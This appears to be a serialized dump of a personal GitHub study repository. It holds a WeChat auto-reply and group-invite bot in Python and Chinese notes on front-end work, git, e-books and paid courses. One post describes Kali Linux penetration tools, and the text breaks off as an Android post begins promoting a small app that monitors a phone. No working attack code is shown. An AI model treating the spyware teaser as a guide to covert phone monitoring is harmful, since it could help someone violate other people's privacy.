为该请求的用户对象)\n new_friend = bot.accept_friend(msg.card)\n # 或 new_friend = msg.card.accept()\n \n # 向新的好友发送消息\n new_friend.send('''\n \n 欢迎你加入武汉义工\n \n 我会邀请你加入微信群\n \n \n -------------------\n\n \n 希望和你做朋友~\n \n \n ''')\n\n \n\n #发送群聊邀请\n group = bot.groups().search('武汉义工')[0]\n \n if new_friend.user_name in group:\n print('这个人在群里')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(new_friend.user_name, use_invitation=True)\n\n \n# ----------------------------------------------------------------------\n\n\n elif '超级个体' in msg.text.lower():\n \n \n # 接受好友 (msg.card 为该请求的用户对象)\n new_friend = bot.accept_friend(msg.card)\n # 或 new_friend = msg.card.accept()\n \n # 向新的好友发送消息\n new_friend.send('''\n \n 欢迎你加入超级个体\n \n 我会邀请你加入微信群\n \n \n ----------------------\n 个人博客\n huxiaoshuang.com\n ----------------------\n \n \n 希望和你做朋友~\n \n \n ''')\n\n \n\n #发送群聊邀请\n group = bot.groups().search('超级个体')[0]\n \n if new_friend.user_name in group:\n print('这个人在群里')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(new_friend.user_name, use_invitation=True)\n\n print('开始发送名片')\n \n if card_msg:\n new_friend.send_raw_msg(\n card_msg.raw['MsgType'],\n card_msg.raw['Content'])\n logging.info('发送了名片: {}'.format(card_msg.card.name))\n\n\n\n\n# ----------------------------------------------------------------------\n\n\n elif '小六' in msg.text.lower():\n \n \n # 接受好友 (msg.card 为该请求的用户对象)\n new_friend = bot.accept_friend(msg.card)\n # 或 new_friend = msg.card.accept()\n \n # 向新的好友发送消息\n new_friend.send('''\n \n 欢迎你,小伙伴\n \n 我会邀请你加入微信群\n \n ----------------------\n 个人博客\n huxiaoshuang.com\n ----------------------\n \n 希望和你做朋友~\n \n \n ''')\n\n \n\n #发送群聊邀请\n group = bot.groups().search('跟小六一起成长')[0]\n \n if new_friend.user_name in group:\n print('这个人在群里')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(new_friend.user_name, use_invitation=True)\n\n print('开始发送名片')\n \n if card_msg:\n new_friend.send_raw_msg(\n card_msg.raw['MsgType'],\n card_msg.raw['Content'])\n logging.info('发送了名片: {}'.format(card_msg.card.name))\n\n\n\n# ----------------------------------------------------------------------\n\n\n elif '知乎' in msg.text.lower():\n \n \n # 接受好友 (msg.card 为该请求的用户对象)\n new_friend = bot.accept_friend(msg.card)\n # 或 new_friend = msg.card.accept()\n \n # 向新的好友发送消息\n new_friend.send('''\n \n 欢迎知乎的小伙伴\n \n 我会邀请你加入微信群\n \n ----------------------\n 个人博客\n huxiaoshuang.com\n ----------------------\n 另外会推荐公众号\n \n 里面可能有你正在找的教程\n\n -----------------------\n \n \n 希望和你做朋友~\n \n \n ''')\n\n \n\n #发送群聊邀请\n group = bot.groups().search('Hack与geek(2)')[0]\n \n if new_friend.user_name in group:\n print('这个人在群里')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(new_friend.user_name, use_invitation=True)\n\n print('开始发送名片')\n \n if card_msg:\n new_friend.send_raw_msg(\n card_msg.raw['MsgType'],\n card_msg.raw['Content'])\n logging.info('发送了名片: {}'.format(card_msg.card.name))\n\n\n\n\n\n# ----------------------------------------------------------------------\n\n\n elif '豆瓣' in msg.text.lower():\n \n \n # 接受好友 (msg.card 为该请求的用户对象)\n new_friend = bot.accept_friend(msg.card)\n # 或 new_friend = msg.card.accept()\n \n # 向新的好友发送消息\n new_friend.send('''\n \n 欢迎小伙伴\n \n 我会邀请你加入微信群\n \n ----------------------\n 个人博客\n huxiaoshuang.com\n \n -----------------------\n \n \n 希望和你做朋友~\n \n \n ''')\n\n \n\n #发送群聊邀请\n group = bot.groups().search('豆瓣的小伙伴')[0]\n \n if new_friend.user_name in group:\n print('这个人在群里')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(new_friend.user_name, use_invitation=True)\n\n print('开始发送名片')\n \n if card_msg:\n new_friend.send_raw_msg(\n card_msg.raw['MsgType'],\n card_msg.raw['Content'])\n logging.info('发送了名片: {}'.format(card_msg.card.name))\n\n\n# ----------------------------------------------------------------------\n\n\n else:\n \n \n # 接受好友 (msg.card 为该请求的用户对象)\n new_friend = bot.accept_friend(msg.card)\n # 或 new_friend = msg.card.accept()\n \n # 向新的好友发送消息\n new_friend.send('''\n \n 嗨,小伙伴你好\n \n \n \n 我会邀请你加入微信群\n 也会推荐自己的公众号\n\n \n ----------------------\n 个人博客\n huxiaoshuang.com\n ----------------------\n \n 本人稍晚看到后会回复你\n \n 希望和你做朋友~\n \n \n ''')\n\n \n\n #发送群聊邀请\n group = bot.groups().search('Hack与geek')[0]\n \n if new_friend.user_name in group:\n print('这个人在群里')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(new_friend.user_name, use_invitation=True)\n\n print('开始发送名片')\n \n if card_msg:\n new_friend.send_raw_msg(\n card_msg.raw['MsgType'],\n card_msg.raw['Content'])\n logging.info('发送了名片: {}'.format(card_msg.card.name))\n\n\n# ------------------------------------------------------------------\n \n \n# 自动回复好友发来的文字消息--智能客服\[email protected](Friend, TEXT)\ndef send_card(msg):\n # 若好友消息包含\"名片\",则回复名片\n if '在线' in msg.text:\n #发送文本\n msg.chat.send('我是机器人,现在仍然在线!')\n# 发送图片\n# elif '图片' in msg.text:\n# msg.chat.send_image('1.jpg')\n\n\n elif '视频' in msg.text:\n msg.chat.send('''ae视频创意\n 链接:http://study.163.com/course/courseMain.htm?courseId=1003777032\n ''')\n elif '系统' in msg.text:\n msg.chat.send('''U盘随身系统\n 链接:http://pan.baidu.com/s/1o7F3IbC\n 密码:a5x4\n ''')\n elif '网站' in msg.text:\n msg.chat.send('''极速搭建个人网站\n 链接:http://study.163.com/course/courseMain.htm?courseId=1003777033\n ''')\n elif '机器人' in msg.text:\n msg.chat.send('''直接购买地址\n http://t.xiaomiquan.com/AIiyrby\n\n ''')\n elif '圈' in msg.text:\n msg.chat.send('''加入我们\n 小密圈: http://dwz.cn/xiaomiquan\n 等你来!\n \n ''')\n \n \n elif '微信群' in msg.text:\n group = bot.groups().search('Hack与geek')[0]\n \n if msg.chat.user_name in group:\n print('这个人在群里')\n msg.chat.send('你已经在Hack与geek的群里!')\n \n else:\n \n print('即将发送群聊邀请')\n group.add_members(msg.chat.user_name, use_invitation=True)\n\n print('开始发送名片')\n#发送视频\n# elif '视频' in msg.text:\n# msg.chat.send_video('手绘文字.mp4')\n# 发送文件\n# elif '文件' in msg.text:\n# msg.chat.send_file('excel.xls')\n else:\n msg.chat.send('''\n\n 小伙伴你好噢\n 我是微信机器人\n 请回复以下关键词\n ----------------\n 微信群\n 小密圈\n 邀请你加入我们\n ---------------\n 随身系统\n 视频\n 网站\n 机器人\n\n -------------------\n 稍晚回复你\n \n ''')\n\n \n \n \n\n#reply(...)\n#reply_image(...)\n#reply_file(...)\n#reply_video(...)\n\n\n#统计好友数据\n#tongji= bot.friends().stats_text()\n#try:\n# print (tongji)\n#except:\n# pass\n\n\n\n\n#持续进入shell \nembed(local=None, banner='进入命令行', shell='python')\n" }, { "alpha_fraction": 0.6482843160629272, "alphanum_fraction": 0.6776960492134094, "avg_line_length": 12.327868461608887, "blob_id": "840e4fcb4e1baa6c2c0576243fdc7904a848a722", "content_id": "b579aa59dd6d41eb489a184d50c032285478ce58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1406, "license_type": "no_license", "max_line_length": 113, "num_lines": 61, "path": "/前端学习笔记04--fullpage.js.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 前端学习日志-04\n用fullpage.js全屏滚动插件和move.js动画插件\n可以做一个单页网站 \n\n---\n目前想的项目是:\n\n- 武汉义工联静态导航\n- 个人简历\n- 产品宣传页[最好加入vidoe展示元素]\n\n---\n> 参考网址和文档 \n\n\n- fullpage.js [github主页](https://github.com/visionmedia/move.js)\n- move.js [github主页](https://github.com/visionmedia/move.js)`| [文档](http://visionmedia.github.io/move.js/])\n\n---\n### 学习Note\n关于fullpage.js\n\n- 需要掌握基本的html文档结构\n- 熟悉提供的api函数\n\n比如:\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170205/024839596.png)\n\n---\n想要用到的功能接口:\n- 设置顶部固定导航菜单 [锚链接]\n- 右侧导航的小圆点\n- 点击小圆点跳转页面时有提示条[tooltip]\n- 还要设计一个固定元素[如QQ交谈按钮]\n- 各种页面载入,进入,离开的回调函数接口\n---\n\n> 关于move.js \n\n在官网文档中,有详细的动画效果\n和api接口代码\n可以实现的动画包括:\n- 放大缩小\n- 显示隐藏\n- 快速移动\n- 旋转\n\n---\n\n### 接下要做的事情\n- 写需求文档\n- 设计网页,准备素材\n- 编写基本的额html/css样式\n- 用fullpage.js的回调函数触发move.js的动画\n\n 需要注意的是:设置动画后\n 还要设置页面离开时还原动画\n 不然重复浏览时,动画只会显示一次.\n\n---\n\n\n\n" }, { "alpha_fraction": 0.696634829044342, "alphanum_fraction": 0.7649422287940979, "avg_line_length": 13.427536010742188, "blob_id": "0282c4d5a9c0b752e4360420ff5b8db571748b4f", "content_id": "7fe43b9b74185b85a08779db24aff7fed8749123", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3267, "license_type": "no_license", "max_line_length": 69, "num_lines": 138, "path": "/学习git.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 为什么学习git\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170314/221244310.png)\n \n---\n\n#### 初见\n最初用github,是按照网上的教程\n搭建了一个免费Hexo静态博客\n很喜欢,也写了很多文字\n\n#### 学习脚本语言\n后来,学习脚本语言的时候,发现github是一个宝库\n有很多优秀的开源项目\n于是在慕课网上看了`github版本控制`这门课程\n\n#### 迷蒙的认识\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170314/221252159.png)\n\n \n更深入的了解的github的issue,pull resquest,magin等团队协作流程\n可以在上面分享公开自己的项目源码\n可以当作云笔记\n不过最喜欢的还是github.io和gh-pages的静态页面解析服务\n可以方便的搭建各种静态网页展示\n比如fulllpage.js\n比如bootstrap\n还有vue·`npm run build`之后的生产文件\n\n#### 现在 learn git\ngit 和 github 是不一样的\n前者是软件,或者说命令行\n后者是网站\n因为想把看到的一个vue wechat项目打包后\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170314/221259757.png)\n\n \n用github pages上线\n结果网页版有内容上传限制和诸多不稳定\n\n---\n\n### 学习笔记\n\n> 以下是在通勤的路上\n> 边用pad边看视频用手机记录的wizinote:\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170314/221304533.png)\n\n \n\n\nGit 北京 小书下载\nCoding 国内网站\n\nGithub 网站\nGit是软件\n用命令行\n\n注册github ,私有仓库付费\n新建仓库\n\n下载desktop.github.com客户端\n登录账户\nClone到本地\n\n安装mac的 home brew \nBrew install git \n找到仓库的https连接进行克隆\n\n\n在客户端中创建仓库的2种方式\n命令行创建仓库\n1makedir新建文件夹📂\n2.git init 初始化仓库,自创建.git文件夹,但是github 默认隐藏\n\n\n删除仓库,网页,本地,命令行\n\n查看版本修改记录\nGit status\n提交修改 客户端commi 然后sysc\n命令行git add -A\n提交 git commit -m“这里写更新留言”\n\n版本回滚\n\nSync更新和同步变化\n\n\n---\n### 纸质笔记复盘\n另外也在休息的时候用A4纸写了一些笔记\n现在将它电子化: \n#### 用https同步github与本地仓库\nhttps与ssh的区别在于,配置了ssh之后,不用每次输入账号密码\nmkdir demo 新建demo文件夹\ncd deco 进入demo\ngit init 初始化为git仓库\ngit remote add origin httpsurl 同步远程仓库通过https\ngit push -u origin master 推送到master主分支\n输入账号密码\n\n#### 配置sshkey\nssh-key\n回车回车回车\ncd .ssh\nls\nid.rsa.pub 用sublime打开拷贝钥匙\n进入github网页的设置\n输入sshkey保存\ngit push -u origin master\ngit config --global push.default simple 设置远程与本地的关系\ncd - 返回原目录\n\n---\n### 分支\ngit checkout 分支 切换至分支目录\ngit brauch -D 分支 删除分支\n\n---\n### github pages\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170314/221308612.png)\n\n \n可以新建用户名.github.io仓库\n也可以主分支下新建gh-pages分支\n用来展示静态网页\n\n---\n\n### 最后\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170314/221314538.png)\n\n \n我的vue 执行 npm run build 后\n部署到github github pages\n依~然~没~有~成~功,泪奔\n有谁可以告诉我么\n" }, { "alpha_fraction": 0.5761991739273071, "alphanum_fraction": 0.6860959529876709, "avg_line_length": 12.789916038513184, "blob_id": "8ce6ea2149dbc8a2fe524b68eaa65b6072f59df2", "content_id": "8ec1b784b4a079965b25cfa8fcc1f18c31225d48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2861, "license_type": "no_license", "max_line_length": 69, "num_lines": 119, "path": "/如何出版电子书.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 为什么要写书?\n在我们的学习体系中\n`读书`依旧是最系统有效的学习方式\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181552708.png)\n\n \n> 那,我们为什么要写书呢? \n\n- 建立个人品牌\n- 输出系统性的知识和经验\n- 推广你的业务\n\n---\n### 书籍与博客\n在之前曾经写过一篇\n[为什么我们必须写博客?]\n\n用github pages可以很方便快捷的搭建个人博客\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181603203.png)\n\n\n \n> 博客与书籍的区别是什么? \n\n1. 文章不成体系,比较随意和零散\n2. 内容没有经过校对和检验\n3. 不能打包成`知识产品`进行分发和销售\n\n 不同于写文章\n 写书的时候\n 必须预先拟定好主题和大纲\n 按结构铺展开来\n\n---\n### 如何制作电子书?\n目前的写作平台有这些:\n- gitbook\n- 知笔墨\n- 优书\n\n---\n##### gitbook\n\n> gitbook有网页平台和本地编辑器,但有一定的学习门槛\n> 且国内的访问支持并不是很友好\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181616299.png)\n\n \n---\n\n##### 知笔墨\n\n 知笔墨是`李笑来`老师推出的写作平台\n 与gitbook类似,相对友好\n 提供了微信登录\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181624534.png)\n\n---\n\n##### 优书\n> 个人推荐新手使用`优书` 编辑与写作\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181632689.png)\n\n优书是`乐书`旗下的专门针对电子书制作的排版平台 \n\n 针对如`多看阅读`、`Kindle`的指定Epub、mobi文件\n 目前还在测试阶段\n 欢迎对排版有兴趣的朋友加入测试\n \n---\n### 出书很难吗?\n\n> 如何积累原始素材? \n\n学习知识和技能一定要保持输出\n你可以将零碎的笔记,记录到:\n- 新浪微博\n- 为知笔记 \n\n对其进行整理后,撰文输出到:\n- 知乎\n- 微信公众平台\n- 简书\n- 个人博客 \n \n\n> 每天一千字\n> 两个星期就能到1-2万字\n> 可以出版一本小书了\n\n---\n### 一站式服务平台--BookDNA\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181640676.png)\n\n> BookDNA从属于浙江出版联合集团\n> 是国内第一家以国有出版单位为依托的电子书出版平台 \n\n已成为`亚马逊kindle`电子书店\n小米`多看阅读`平台等\n主流数字内容投送平台的核心内容供应商\n\n---\n### 分享你的故事 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170405/181648161.png)\n\n \n目前正在计划撰写自己的电子书\n上架到亚马逊kindle,多看阅读,豆瓣等多个平台 \n\n如果你也对出书感兴趣\n> 欢迎添加微信 hackrobot \n\n会邀请你加入到`微信群`\n希望和你做朋友\n与世界分享你的知识,经验和见解\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170322/111214449.jpg) \n\n\n\n\n\n" }, { "alpha_fraction": 0.6415094137191772, "alphanum_fraction": 0.7269700169563293, "avg_line_length": 12.533834457397461, "blob_id": "ce8f14be78bbd917dd129f91b6f9ac40a290be67", "content_id": "8362603f2066d2c849123e1f4abc6f5e55d43239", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3546, "license_type": "no_license", "max_line_length": 69, "num_lines": 133, "path": "/细数我为知识付费的坑.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 细数这些年我为知识付费踩过的坑\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170407/205306606.png)\n\n---\n### 目前我正在付费学习哪些知识?\n##### 简七理财\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170407/205143112.png)\n\n \n最初知道简七理财的时候\n是在闲暇时间听喜马拉雅的音频节目\n简七和八爷的声音好听有质感\n将理财知识讲的通俗易懂,很是受用\n\n> 我想把这纷繁复杂的金融世界\n> 读成一本言情小说\n> 情节简单,结局明了\n\n直到在网易云课堂上架了完整的课程体系后\n果断付费\n财商教育,是普通人最缺乏的教育\n\n---\n##### python分布式爬虫\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170407/205154110.png)\n\n在慕课网看到这门课\n也是好不犹豫的付费了\n> 未来是数据时代,\n> 应用于互联网金融,自然语言处理,人工智能,医疗病例分析 \n\n对于个人\n在信息爆炸的时代,自动化数据处理\n也是必不可少的技能\n\n---\n##### 得到专栏-超级个体\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170407/205202246.png)\n\n在罗胖推出`得到app`之后\n试听一下后就抛弃了喜马拉雅\n为什么?\n得到专注于高质量的知识音频\n让我节省了很多筛选的时间成本\n> 目前订阅的付费专栏是--`超级个体` \n\n古典老师言语犀利,有深刻洞见 \n\n 至于,李笑来老师的`财富自由之路`\n 因为没有订阅,所以不表\n 旁听议论内容不怎样\n 个人觉得笑来老师的运营模式肯定是独具一格 \n\n---\n##### 实验楼\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170407/205210222.png)\n\n \n实验楼这个网站很早就知道了\n一直都没有怎么去了解\n> 只是觉得以项目式驱动学习\n> 动手是最好的入门方式 \n\n然而由于很多次在检索教程的时候\n发现很多入门例子都在其课程列表中,比如:\n- python实现微信机器人\n- 用github pages搭建免费博客\n- 用gitbook写电子书 \n\n教程比较简单,对新领域的小白比较友好\n> 系统化的入门教程可以提供`关键词 `\n\n这样就能抽象到自己的信息体系中\n再去检索更丰富的结构化资源,去学习\n\n\n---\n##### 小密圈\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170407/205218230.png)\n\n小密圈专注于社群\n比起微信群和QQ群更小众私密\n目前为此付费的有:\n- 象尘说\n- Phodal \n \n并非深度用户\n只觉得查看圈主更新的时间线\n没有冗杂吵闹,删繁化简,也是挺好的\n\n---\n### 一些感想\n以上都是一个普通小白的学习路线图\n比较散乱\n为什么要付费?\n抛开`维护版权`这个崇高的词语\n付费课程能带来的收益较多:\n- 系统化的课程体系\n- 精质的讲解,有效的反馈\n- 配套的实验环境和资料\n- 与`布道者`的直接交流\n- 加入高质量的社群\n\n有小伙伴会说:\n- google上免费文件一搜一大把\n- 某宝上有大量的翻录教程\n- 用网盘引擎也能检索到很多会员资料 \n\n其中得失,各有取舍,并不一定要偏颇的选择\n\n---\n### 下期预告\n##### 我在知识付费中踩过的坑\n我将梳理个人经历付费的知识产品,渠道\n细数其中利与弊,益与坑 \n\n- 极客电台\n- `安全牛`黄金会员\n- 小甲鱼\n- 网易云课堂-前端微专业\n- 天琥设计\n- 知乎live,分答,在行\n- 健身房\n- 更多~~\n\n---\n### 希望和你做朋友 \n\n> 欢迎添加微信 hackrobot \n\n会邀请你加入到`微信群`\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170322/111214449.jpg) \n\n" }, { "alpha_fraction": 0.551598846912384, "alphanum_fraction": 0.71875, "avg_line_length": 17.0657901763916, "blob_id": "7cdcec9600a9444eb80fcac12263acebebd3ef3f", "content_id": "ac073c2077da56cdd84db933a597e1f9eb814ccf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1922, "license_type": "no_license", "max_line_length": 71, "num_lines": 76, "path": "/第一天-小白变怪兽.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### happypeter老师的课程\n#### 小白变怪兽\n\n好奇猫\nhttp://haoqicat.com/bianguaishou\n\n---\n已学习的内容 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222019213.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222026422.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222032376.png)\n\n\n学习笔记:\n\n> 学习理念和目标:\n\n以项目驱动学习\n- 首先了解一门知识基础可以用来做什么项目:好玩又实用的\n- 针对入门项目中点针对性学习\n- 在晋升项目中完善自己的基础知识体系\n- 不断拓展项目,让更多人可以使用\n\n学习知识点记录\n- 谷歌浏览器器 和atom编辑器 | sublime text编辑器\n- 学习web开发的好网站 MDN https://developer.mozilla.org/zh-CN/\n- 使用sublime的分屏写代码 [`补充:看慕课网sublime教程,设置编辑器参数,插件,熟悉快捷家和使用技巧`]\n\n---\n-使用谷歌开发者工具进行检查\n- 使用开发者工具调试页面效果\n\n---\n\n- css的核心知识:块级和行内|盒模型|class和id选择器\n- width | box-sizing:border-box 设置\n\n---\n\n> github使用\n\n- 注册github,上传代码 [课程参考:慕课网,书籍:pro git]\n- 使用gh-pages展示页面,分享\n- 使用git客户端\n\n---\n清楚float\n因为时间关系,有空再继续学习\n\n> 笔记时间:`2017年2月3日 | `22:19` \n\n \n没有学习的内容 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222040668.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222048112.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222054697.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222100526.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222106047.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222112067.png) \n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170203/222119204.png) \n\n" }, { "alpha_fraction": 0.5431734323501587, "alphanum_fraction": 0.6738007664680481, "avg_line_length": 10.25, "blob_id": "e8502725b30496d61ddaa3a71b35b188f758f1c0", "content_id": "94c74ec4c5aca051216cea3de53e2019363424f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1963, "license_type": "no_license", "max_line_length": 70, "num_lines": 120, "path": "/U盘随身系统制作教程.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 一款随身U盘-hack系统\n前面我们已经介绍过`U盘随身系统`\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134651039.jpg)\n\n \n具有以下功能:\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134656586.jpg)\n\n \n- 随身携带\n- 开启任何电脑\n- 移动办公\n\n---\n### 实用软件\n#### 聊天上网\n- QQ+微信\n- 网易云音乐\n- google浏览器\n\n#### 商务办公\n- wps进行office办公\n- `蓝灯'进行科学上网,看看youtube或者facebook\n\n\n- `搜狗输入法'\n- 有道词典\n- 编辑图片和视频\n- 阅读pdf\n\n#### 知识管理\n- 网盘-`坚果云`,上传和下载文件\n- 为知笔记\n\n- 思维导图\n\n\n\n---\n\n### kali linux 黑客专用安全渗透系统\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134704160.png)\n\n \n\n> 引用百度百科:\n\n\n\nKali Linux预装了许多渗透测试软件:\n\n- 包括nmap (端口扫描器)\n\n- Wireshark (数据包分析器)\n\n- John the Ripper (密码破解器)\n\n- 以及Aircrack-ng (一应用于对无线局域网进行渗透测试的软件] \n\n\n\n---\n\n### 安装在任何设备上\n\nkali linux可以安装在大多数电子设备,随身携带\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134729063.png)\n\n \n\n \n- 笔记本电脑\n\n- 手机\n\n- 平板\n\n- 树莓派 \n\n\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134734666.png)\n\n \n\n\n\n> 不过,我们仅仅用`u盘`就好了!\n\n \n\n\n 用户可通过硬盘、live CD或live USB运行Kali Linux。\n\n Metasploit的Metasploit Framework支持Kali Linux\n\n Metasploit一套针对远程主机进行开发和执行Exploit代码的工具\n\n\n --- \n### 5分钟把你的U盘做成黑客系统\n\n ![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134743647.png)\n\n\n---\n\n### 演示教程\npass\n\n---\n\n### 开启你的黑客之旅吧\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134750305.png)\n\n \n### 放一张曾经的学习截图\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170310/134756941.png)\n\n \n \n" }, { "alpha_fraction": 0.6290867924690247, "alphanum_fraction": 0.7222848534584045, "avg_line_length": 18.84328269958496, "blob_id": "6f1ccabc8e2e54ba848bc9792b8a8e9ec6fa72b4", "content_id": "7cb522681d018b5ab7ed8cde6b5230bcaa500cdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3753, "license_type": "no_license", "max_line_length": 165, "num_lines": 134, "path": "/前端学习笔记05--小白变怪兽(完结).md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "\n\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170205/214545394.png)\n\n\n### 学习方式\n\n> 我的学习过程:\n\n用网页版受限于网速,有时候会卡顿\n而且一边看网页一边跟着练习代码会有些挤促\n所以讲'小白变怪兽'下载到本地\n`在通勤的路上用ipad播放`\n`将播放速度设置到1.5X倍速`\n感觉比较好\n\n> 其他:\n\n如果是在家里的话,最好左边ipad,右边Mac\n这样不至于来回切换显示,效率高很多 \n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170205/214806018.png)\n\n[happypeter课程代码](https://github.com/happypeter/bianguaishou-page/tree/gh-pages) | [DEMO项目演示](https://happypeter.github.io/bianguaishou-page/demo/ch9-res/02-query/)\n\n\n---\n\n### 知识点归纳\n从7章开始,老师用移动端网页 \n\n> 开始重点讲解响应式网页的制作 \n\n核心知识点:\n- viewport设置,禁用缩放\n\n```\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n```\n- 自制字体 \n\n 把字体包添加到源码中\n 然后 CSS 通过 @font-face 定义字体\n 就可以来使用自定制字体了。\n- animation 动画是用来定义 CSS 从一个状态到另外一个状态的变化过程,可以让页面变得生动 \n\n 使用animate.css可以很方便的对css进行动画效果\n 感慨:使用框架和封装能高效率达到想要的效果\n 比如css的进阶sass,js的库jquery\n```\nhtml\n<h1>text</h1>\nCSS\nh1 {\n animation-duration: 3s;\n animation-name: slidein;\n}\n\n@keyframes slidein {\n from {\n margin-left: 100%;\n }\n to {\n margin-left: 0%;\n }\n}\n\n```\n\n---\n\n- 使用svg图标 \n\n 传统上使用 png 作为图标的形式因为放大之后会失真,所以不太适合做响应式页面。于是,矢量化 \n 图标变得流行,一种方式是使用类似 font-awesome 这样的“字体图标”, 另外一种就是使用 SVG 图标\n\n- 响应式开发思路:移动设备优先\n- 媒体查询media-query\n 媒体查询到作用是判断媒介类型或者尺寸是否满足我们设置的参数条件\n 然后决定要不要执行自己内部包含的 CSS \n演示代码:\n```\n<!-- CSS media query on a link element -->\n<link rel=\"stylesheet\" media=\"(max-width: 800px)\" href=\"example.css\" />\n<!-- CSS media query within a stylesheet --><style>\n\n .facet_sidebar {\n display: block;\n }\n@media (max-width: 600px) {\n.facet_sidebar {\ndisplay: none;\n}\n}\n</style>\n```\n\n---\n\n- 响应式图片picture标签\n代码:\n```\n<picture>\n<video style=\"display: none;\"> \n<source srcset=\"/assets/content/grid/first-news-case-study-desktop-ef000fca2e476654d5c904a48d8d531b8ec4641845ab1460cb422d7d4702a2dd.jpg\" media=\"(min-width: 1024px)\">\n<source srcset=\"/assets/content/grid/first-news-case-study-tab-80f76e161962b3ca5d7583a73dfaaef3a3a463bf8965ba1ccc5677c7ae3b89ba.jpg\" media=\"(min-width: 768px)\">\n<source srcset=\"/assets/content/grid/first-news-case-study-mob-559de80a3258afb390fb2d1bf1411403e23c5f13f2cf08e9fecf0f73d87fdf26.jpg\" media=\"(min-width: 568px)\">\n<source srcset=\"/assets/content/grid/first-news-case-study-4fc09bdfcdfdca848446432928db9eef484b6aadfad86e80d86f605549dad6f7.jpg\" media=\"(max-width: 568px)\">\n```\n\n---\n### 没有js\n小白变怪兽课程里\n没有涉及到js的小例子\n是挺遗憾的\n---\n### 老师推崇的路线是\n\n- 前端用react框架\n- 后端用node.js\n- 另外也要知道http/git/linux命令行等知识\n\n---\n### 总结\n一个爱学习的人\n> 应该要善于使用google和youtube\n\n但是国内还必须要会`科学上网'\n我个人目前使用的Greenvpn服务\n老师推荐的vpn服务商是:\n> Agentwho.net \n\nhttps://agentwho.rocks/\n![mark](http://oe40n695u.bkt.clouddn.com/blog/20170205/214556477.png)\n \n\n在mac上用起来还是特别方便的.\n" }, { "alpha_fraction": 0.6068679690361023, "alphanum_fraction": 0.714031994342804, "avg_line_length": 13.084033966064453, "blob_id": "b8829d98ac7b8c6e0659d9e9bc984a01060c956a", "content_id": "f4d71f16940a3d14a1fed808fb96a43dd73c785a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2967, "license_type": "no_license", "max_line_length": 124, "num_lines": 119, "path": "/安卓渗透测试.md", "repo_name": "Ericxiaoshuang/webstudy", "src_encoding": "UTF-8", "text": "### 控制安卓手机有多简单?\n> 只需要安装一个0.8m大小的安卓app\n\n你的手机会`被监控了`\n- 开机自启动\n- 